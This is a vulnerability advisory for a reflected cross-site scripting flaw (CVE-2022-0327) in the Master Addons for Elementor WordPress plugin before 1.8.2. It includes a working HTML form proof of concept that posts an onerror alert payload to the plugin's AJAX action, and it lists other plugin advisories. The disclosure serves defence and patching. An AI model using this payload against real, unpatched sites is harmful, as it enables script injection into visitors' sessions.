Master Addons for Elementor < 1.8.2 – Reflected Cross-Site Scripting | CVE 2022-0327 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape the error_message parameter before outputting it back in the response of the jltma_restrict_content AJAX action, available to unauthenticated and authenticated users, leading to a Reflected Cross-Site Scripting

Proof of Concept

<html>
    <form action="https://example.com/wp-admin/admin-ajax.php?action=jltma_restrict_content" method="POST">
        <input type="text" value="ma_el_rc_answer=x" name="fields">
        <input type="text" value="math_captcha" name="restrict_type">
        <input type="text" value="<img src onerror=alert(`XSS`)>" name="error_message">
        <input type="submit" value="Send">
    </form>
</html>

Affects Plugins

Fixed in 1.8.2

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website

https://kazet.cc/

Verified

Yes

WPVDB ID

df38cc99-da3c-4cc0-b179-1e52e841b883

Timeline

Publicly Published

2022-02-21 (about 3 years ago)

Added

2022-02-21 (about 3 years ago)

Last Updated

2022-04-13 (about 3 years ago)

Other

Published

Title

Published

2024-03-28

Title

Tumult Hype Animations < 1.9.12 - Cross-Site Request Forgery to Cross-Site Scripting

Published

2024-06-27

Title

Progress Planner < 0.9.3 - Authenticated (Subscriber+) Stored Cross-Site Scripting

Published

2024-05-02

Title

Simple Image Popup < 2.5.3 - Admin+ Stored XSS

Published

2025-04-01

Title

Beds24 Online Booking < 2.0.28 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2025-04-01

Title

Magical Blocks < 2.0.0 - Contributor+ Stored XSS